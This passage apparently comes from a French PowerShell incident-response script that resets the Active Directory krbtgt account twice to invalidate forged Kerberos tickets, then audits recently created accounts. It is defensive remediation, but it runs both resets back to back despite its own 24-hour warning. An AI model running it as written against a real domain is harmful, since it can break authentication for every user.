Write-Host "[+] Dernier changement mot de passe krbtgt: $($krbtgt.PasswordLastSet)"
Write-Host "[+] Version clé actuelle: $($krbtgt.'msDS-KeyVersionNumber')"

# Phase 2 : Premier reset
Write-Host "[!] Premier reset du compte krbtgt..."
$newPassword = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword -Reset

Write-Host "[+] Premier reset effectué. Attendre 24h avant le second reset."
Write-Host "[!] Vérifier la réplication AD avant de continuer."

# Vérification de la réplication
repadmin /showrepl

# Phase 3 : Après 24h - Second reset
Write-Host "[!] Second reset du compte krbtgt..."
$newPassword2 = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword2 -Reset

Write-Host "[+] Reset krbtgt terminé. Tous les tickets Kerberos précédents sont invalidés."

# Phase 4 : Actions post-reset
Write-Host "[!] Actions recommandées:"
Write-Host "1. Forcer la reconnexion de tous les utilisateurs"
Write-Host "2. Redémarrer tous les services utilisant des comptes de service"
Write-Host "3. Vérifier les GPOs et objets AD suspects"
Write-Host "4. Auditer les comptes créés récemment"

# Audit rapide
Get-ADUser -Filter {Created -gt (Get-Date).AddDays(-7)} | 
    Select Name, Created, Enabled